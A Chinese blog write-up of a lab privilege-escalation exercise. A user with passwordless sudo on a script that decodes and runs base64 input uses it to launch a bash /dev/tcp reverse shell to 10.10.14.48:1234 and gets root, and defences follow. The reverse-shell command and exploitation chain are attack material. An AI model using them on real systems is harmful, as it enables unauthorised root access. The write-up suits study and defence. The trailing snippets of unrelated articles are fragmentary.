目录

📚 Linux SUID 提权原理与红队实践

🚀 概述

🛠️ SUID 提权原理

核心机制

技术栈

🔍 案例背景:sudo -l 与 .monit 脚本

案例信息

脚本内容

🧪 提权步骤分解

📋 1. 检查 sudo 权限

📜 2. 分析 .monit 脚本

⚙️ 3. 构造恶意命令并编码

🚀 4. 执行提权命令

🌐 5. 验证提权结果

🔐 安全隐患与防御

安全隐患

防御措施

📝 知识点总结

🎯 结论


📚 Linux SUID 提权原理与红队实践

🚀 概述

SUID(Set User ID)是 Linux 系统中的一种特殊权限机制,允许普通用户以文件所有者的权限执行程序,通常用于需要提升权限的操作(如修改密码)。然而,不安全的 SUID 程序可能被攻击者利用,通过漏洞(如缓冲区溢出、环境变量劫持、命令注入)实现本地权限提升(LPE)。本文结合一个红队案例(利用 sudo -l.monit 脚本),详细分析 SUID 提权原理、步骤、技术栈及防御措施。

  • 目标: 从普通用户(nobody)提权至 root。
  • 场景: 利用 sudo 权限运行的 .monit 脚本,通过命令注入执行反弹 shell。
  • 技术栈: Linux、Bash、Base64、TCP 协议、SUID 机制。

🛠️ SUID 提权原理

SUID 是一种 Linux 文件权限,允许程序以其所有者的身份运行,而非调用者的身份。这为攻击者提供了提权的机会,尤其是当 SUID 程序存在安全漏洞时。

核心机制

  1. 权限检查: Linux 文件有 Owner、Group 和 Others 的权限,SUID 位通过 chmod u+schmod 4755 设置,表现为权限中的 s(如 -rwsr-xr-x)。
  2. 执行流程: 当普通用户执行 SUID 程序时,进程的 有效用户 ID(EUID) 变为文件所有者的 UID(通常为 root),从而获得更高权限。
  3. 漏洞利用: 攻击者可通过以下方式利用 SUID 程序:
    • 直接执行 shell: 如 findvim 的 SUID 版本可直接调用 shell。
    • 环境变量劫持: 修改 PATHLD_PRELOAD 控制程序执行流程。
    • 命令注入/缓冲区溢出: 利用程序对用户输入的未验证处理。

技术栈

  • Linux 文件系统: ext4、xfs 等,管理文件权限。
  • SUID 位: 通过 stat 系统调用设置和检查。
  • Shell: Bash 或其他 shell,用于执行恶意命令。
  • 环境变量: PATHLD_PRELOAD 等,影响程序行为。

🔍 案例背景:sudo -l 与 .monit 脚本

在红队测试中,攻击者以低权限用户(nobody)登录目标系统,通过 sudo -l 发现可以以 root 权限运行 /home/themiddle/.monit 脚本。分析脚本后,发现其存在命令注入漏洞,可用于提权。

案例信息

nobody@fluxcapacitor:/$ sudo -l
Matching Defaults entries for nobody on fluxcapacitor:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nobody may run the following commands on fluxcapacitor:(ALL) ALL(root) NOPASSWD: /home/themiddle/.monit

脚本内容

nobody@fluxcapacitor:/home/themiddle$ cat .monit
#!/bin/bash
if [ "$1" == "cmd" ]; thenecho "Trying to execute ${2}"CMD=$(echo -n ${2} | base64 -d)bash -c "$CMD"
fi

🧪 提权步骤分解

以下是从发现漏洞到成功提权的详细步骤,结合红队视角和技术细节。

📋 1. 检查 sudo 权限

步骤描述: 使用 sudo -l 查看当前用户(nobody)的权限,确认可运行的命令及权限级别。

案例信息:

  • 输出显示用户可运行 /home/themiddle/.monit 脚本,且以 root 权限 执行(NOPASSWD 表示无需密码)。
  • secure_path 限制了 PATH 环境变量,但不影响 .monit 脚本的执行。

红队视角:

  • 发现 NOPASSWD 是一个高价值目标,表明无需额外身份验证即可提权。
  • .monit 脚本路径明确,需进一步分析其逻辑。

技术栈:

  • sudo: Linux 权限管理工具,检查用户特权。
  • Bash: 解析 sudo -l 输出。
  • 文件权限: 确认 .monit 是否为 SUID 或由 root 拥有。

协议与技术点:

  • sudoers 文件解析,基于 /etc/sudoers/etc/sudoers.d/
  • 上下文:env_resetsecure_path 限制环境变量,需检查是否可绕过。

上下关联:

  • 下一步需分析 .monit 脚本内容,寻找可利用点。

📜 2. 分析 .monit 脚本

步骤描述: 查看 .monit 脚本,识别其逻辑和潜在漏洞。

案例信息:

#!/bin/bash
if [ "$1" == "cmd" ]; thenecho "Trying to execute ${2}"CMD=$(echo -n ${2} | base64 -d)bash -c "$CMD"
fi
  • 脚本检查第一个参数($1)是否为 cmd
  • 如果是,则将第二个参数($2)进行 Base64 解码,并通过 bash -c 执行解码后的命令。

红队视角:

  • 漏洞点: bash -c "$CMD" 直接执行用户输入(Base64 解码后的 $2),未进行输入验证,存在命令注入风险。
  • 由于脚本以 root 权限运行(通过 sudo),注入的命令也将以 root 权限执行。

技术栈:

  • Bash 脚本: 解析和执行逻辑。
  • Base64: 用于编码/解码命令。
  • Linux 进程: bash -c 创建新 shell 执行命令。

协议与技术点:

  • Base64 编码/解码:base64 -d 将输入转换为可执行命令。
  • Shell 命令执行:bash -c 允许动态执行任意命令。
  • 上下文:需构造 Base64 编码的恶意命令(如反弹 shell)。

上下关联:

  • 下一步是构造恶意命令并进行 Base64 编码。

⚙️ 3. 构造恶意命令并编码

步骤描述: 设计要执行的命令(如反弹 shell),并将其 Base64 编码以匹配脚本逻辑。

案例信息:

  • 目标命令:bash -i >& /dev/tcp/10.10.14.48/1234 0>&1,建立反弹 shell。
  • Base64 编码:
    echo -n "bash -i >& /dev/tcp/10.10.14.48/1234 0>&1" | base64
    # 输出:YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE0LjQ4LzEyMzQgMD4mMQ==
    

红队视角:

  • 反弹 shell 是红队常用的提权后持久化访问方式。
  • Base64 编码确保命令符合 .monit 脚本的处理逻辑。
  • 攻击者需在自己的机器(10.10.14.48:1234)上监听连接。

技术栈:

  • Base64: 标准编码工具,Linux 自带。
  • TCP 协议: 反弹 shell 使用 TCP 连接。
  • Netcat: 攻击者机器上用于监听反弹 shell。

协议与技术点:

  • TCP 反弹 shell:通过 /dev/tcp 建立网络连接。
  • Base64 编码:确保命令格式符合脚本要求。
  • 上下文:编码后的命令将作为 $2 传递给 .monit

上下关联:

  • 下一步是使用 sudo 执行 .monit 脚本并传入编码后的命令。

🚀 4. 执行提权命令

步骤描述: 使用 sudo 执行 .monit 脚本,传入构造的 Base64 编码命令。

案例信息:

sudo /home/themiddle/.monit cmd YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE0LjQ4LzEyMzQgMD4mMQ==

红队视角:

  • sudo 确保脚本以 root 权限运行。
  • 参数 cmd 触发脚本的命令执行逻辑,YmFzaCA... 是 Base64 编码的反弹 shell 命令。
  • 攻击者需确保监听器(如 nc -lvnp 1234)已在 10.10.14.48 上运行。

技术栈:

  • sudo: 提升权限执行脚本。
  • Bash: 解析和执行 .monit 脚本。
  • Netcat: 接收反弹 shell。

协议与技术点:

  • sudo 权限提升:基于 sudoers 配置。
  • TCP 连接:反弹 shell 通过 TCP 协议通信。
  • 上下文:脚本解码 Base64 输入并以 root 权限执行。

上下关联:

  • 下一步是在攻击者机器上验证反弹 shell 是否成功。

🌐 5. 验证提权结果

步骤描述: 在攻击者机器上接收反弹 shell,确认获得 root 权限。

案例信息:

  • 攻击者在 10.10.14.48 上运行:
    nc -lvnp 1234
    
  • 接收到连接后,运行:
    whoami
    # 输出:root
    

红队视角:

  • 成功接收反弹 shell 表明提权成功。
  • root 权限允许执行任意命令,如安装后门、提取敏感数据等。

技术栈:

  • Netcat: 监听 TCP 端口,接收 shell。
  • Bash: 提供交互式 root shell。
  • Linux 用户管理: 验证 EUID 为 0(root)。

协议与技术点:

  • TCP 协议:支持反弹 shell 的网络通信。
  • Linux 权限模型:确认 shell 的权限级别。
  • 上下文:提权成功后,可进一步进行横向移动或持久化。

上下关联:

  • 后续可探索其他 SUID 程序或系统配置以巩固权限。

🔐 安全隐患与防御

安全隐患

  • SUID 滥用: 不安全的 SUID 程序(如 .monit)可能被利用执行任意命令。
  • 环境变量劫持: 未清理的 PATHLD_PRELOAD 可导致恶意代码执行。
  • 命令注入: 脚本对用户输入(如 $2)的未验证处理导致漏洞。
  • 调试模式: 生产环境中启用的调试工具增加风险。

防御措施

  1. 最小化 SUID 程序:
    • 定期审计 SUID 文件:
      find / -perm -4000
      
    • 移除不必要的 SUID 权限:chmod u-s <file>
  2. 限制 tmp 目录:
    • 设置 noexec 挂载选项,防止 /tmp 执行脚本:
      mount -o remount,noexec /tmp
      
  3. 清理环境变量:
    • 使用 sudoenv_resetsecure_path 限制用户控制的环境变量。
  4. 输入验证:
    • 确保 SUID 程序和脚本(如 .monit)对输入进行严格验证。
  5. 监控与日志:
    • 启用系统日志,监控 sudo 和异常命令执行。
  6. 移除占位符:
    • 检查配置文件,移除 [Your address][Your name] 等占位符,替换为实际值(如 addressname)。

📝 知识点总结

  • SUID 原理: 允许程序以所有者权限运行,EUID 切换为文件所有者的 UID。
  • 漏洞类型: 命令注入、环境变量劫持、缓冲区溢出等。
  • 技术栈: Linux 文件系统、Bash、Base64、TCP 协议、sudo。
  • 利用流程: 检查权限 → 分析脚本 → 构造 Payload → 执行提权 → 验证结果。
  • 防御措施: 最小化 SUID 程序、限制 /tmp、清理环境变量、严格输入验证。

🎯 结论

  • SUID 提权是 Linux 系统中常见的本地权限提升手法,尤其在红队测试中,利用不安全的 SUID 程序或脚本(如 .monit)可快速获得 root 权限。
  • 我通过一个具体案例(sudo -l.monit 脚本),详细分解了提权步骤,涵盖了原理、技术栈和防御策略。
  • 系统管理员应定期审计 SUID 文件、限制环境变量并加强输入验证,以降低提权风险。红队测试者可结合本文步骤,利用工具(如 findbase64nc)挖掘类似漏洞。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/85020.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/85020.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/85020.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

S参数与串扰-信号完整性分析

S参数与串扰: 四端口网络S参数中&#xff0c;仍表示反射&#xff0c;表示信号的传输。根据S参数的定义&#xff0c;和两个参数的含义为 当只有端口1有正弦信号激励源时&#xff0c;从端口3和端口4出来的正弦信号只能是互连结构内部耦合过来的&#xff0c;因此表示的是近端串扰…

Android OkHttp 框架超时设置详解

OkHttp 提供了四种不同的超时设置&#xff0c;每种针对网络请求的不同阶段&#xff1a; 1. callTimeout (调用超时) 作用&#xff1a;控制整个调用从开始到结束的总时间&#xff0c;包括所有重定向和重试 默认值&#xff1a;0 (不超时) 场景&#xff1a;当你希望限制整个请求…

如何让LLM通过反思来提升生成sql的正确率 - 以Gemini生成sql为例

什么是Agent Reflection 通常指 “智能体反思”&#xff0c;即让 AI 系统通过自我反思机制优化决策或任务处理过程&#xff0c;类似人类通过复盘改进策略。 创建一个 SQL Agent 导入相关的库 import openai import pandas as pd import sqlite3 from util.get_schema impor…

数字IC学习笔记(二)

数字IC学习笔记&#xff08;二&#xff09; 宏定义&#xff0c;异步FIFO, 时钟来源&#xff0c;复位信号 文章目录 数字IC学习笔记&#xff08;二&#xff09;1. define宏定义的使用2&#xff0c;异步FIFO原理3&#xff0c;时钟来源4&#xff0c;复位参考资料 1. define宏定义的…

日志输出功能

当程序运行出现问题时&#xff0c;日志记录是一种非常有用的工具&#xff0c;它可以帮助我们追踪和定位问题。在 MicroPython 中&#xff0c;可以使用 log 模块来记录程序运行中的信息。本文将介绍 log 模块的使用方法和常见功能。 日志级别 log.DEBUG 常量&#xff0c;用来…

【JVM】- 类加载与字节码结构1

类文件结构 ClassFile {u4 magic;u2 minor_version;u2 major_version;u2 constant_pool_count;cp_info constant_pool[constant_pool_count-1];u2 access_flags;u2 this_class;u2 …

Android及Harmonyos实现图片进度显示效果

鸿蒙Harmonyos实现&#xff0c;使用ImageKnife自定义transform来实现图片进度效果 import { Context } from ohos.abilityAccessCtrl; import { image } from kit.ImageKit; import { drawing } from kit.ArkGraphics2D; import { GrayScaleTransformation, PixelMapTransform…

linux 中的自动化之systemd

linux | 自动化之systemd linux 中的自动化之systemd 学习总是循序渐进的。 linux 中程序的自动化&#xff0c;包括早期手动启动&#xff0c;查看启动后的日志、分析启动情况&#xff0c;再到后面封装脚本(大致要求启动后检查是否挂了&#xff0c;挂了拉起&#xff0c;没挂跳过…

【编译工具】CodeRider 2.0:驭码 CodeRider 2.0 全流程智能研发协作平台深度技术测评报告

目录 前言&#xff1a;CodeRider 2.0 简介 &#xff08;1&#xff09;核心功能 &#xff08;2&#xff09;适用场景 &#xff08;3&#xff09;优势 一、产品概述与技术架构 &#xff08;1&#xff09;产品定位与核心价值 &#xff08;2&#xff09;技术架构解析 &…

抓包 TCP 四次挥手报文

文章目录 抓包 TCP 三次握手报文一、第一次挥手二、第二次挥手三、第三次挥手四、第四次挥手 抓包 TCP 三次握手报文 抓包 TCP 三次握手报文 一、第一次挥手 二、第二次挥手 三、第三次挥手 四、第四次挥手

KMP(Kotlin Multiplatform)发布Web版本乱码

一、背景 最近用KMP尝试运行在Android、iOS、desktop都成功了&#xff0c;网络数据访问也正常。 可是当运行wasmJs的时候遇到了2个较大的问题。 中文字体出现乱码。 出现了跨域问题。 首先贴一下每个平台的运行截图&#xff1a; Android iOS Desktop 二、问题 当web跑起…

一个应用程序或移动网站项目提供最佳UI解决方案

一个应用程序或移动网站项目提供最佳UI解决方案 此套件是用大量的爱和辛勤工作制作的&#xff0c;为您的下一个应用程序或移动网站项目提供最佳解决方案。120个完全可编辑的界面&#xff0c;分为10个类别和2种文件格式&#xff0c;Photoshop和AI。简单易用的结构将允许您以所…

Android studio打包生成jar包文件

Android studio打包生成jar包文件 一 项目配置1.修改 app/build.gradle2.修改 AndroidManifest.xml 二 打 Jar 包1.修改 app/build.gradle2.编译生成 Jar 包 一 项目配置 1.修改 app/build.gradle 将com.android.application改成com.android.library注释掉applicationId 2.…

JAVA类加载机制(jdk8)

三句话总结JDK8的类加载机制&#xff1a; 类缓存&#xff1a;每个类加载器对他加载过的类都有一个缓存。双亲委派&#xff1a;向上委托查找&#xff0c;向下委托加载。沙箱保护机制&#xff1a;不允许应用程序加载JDK内部的系统类。 JDK8的类加载体系 类加载器的核心方法 //…

更进一步深入的研究ObRegisterCallBack

引入 我们如果想hook对象的回调,在上篇文章里我们已经知道了对象回调函数存在一个列表里面&#xff0c;我们通过dt可以看见&#xff0c;这里他是一个LIST_ENTRY结构&#xff0c;但是实际调用的时候&#xff0c;这样是行不通的&#xff0c;说明它结构不对 0: kd> dt _OBJEC…

Nginx-3 Nginx 的负载均衡策略

Nginx-3 Nginx 的负载均衡策略 Nginx 的负载均衡其实就是指将请求按照一定的策略转发给服务集群中的一台&#xff0c;提高了服务集群的可用性&#xff0c;解决数据流量过大、网络负荷过重的问题。 AKF 扩展立方体 分为 3 个方向负载&#xff1a; x 轴&#xff1a;增加实例数…

Wiiu平台RetroArch全能模拟器美化整合包v1.18

这款WiiU平台RetroArch全能模拟器美化整合包v1.18的亮点包括&#xff1a; 1. 18款平台完美兼容&#xff1a;无论你是喜欢NES时代的经典游戏&#xff0c;还是钟爱SNES、GBA等平台的大作&#xff0c;这款整合包都能满足你的需求&#xff0c;让你尽情畅玩游戏。 2. 三款自制主题&a…

MyBatis原理

Mybatis执行过程为&#xff1a;接口代理->sqlSession会话->executor执行器->JDBC操作 一、接口代理 Mybatis根据Mapper接口&#xff0c;动态生成相应实现类 二、SqlSession介绍 MyBatis核心对象SqlSession介绍 - MyBatis中文官网 三、Executor执行器介绍 精通My…

升级内核4.19-脚本

#bash cd /root yum remove -y kernel-tools-3.10.0-1160.el7.x86_64 yum remove -y kernel-tools-libs-3.10.0-1160.el7.x86_64tar -xvf rhel-7-amd64-rpms.tar.gz cd /root/rhel-7-amd64-rpms #安装依赖、包括socat&conntrack yum localinstall -y *.rpm --skip-broken#升…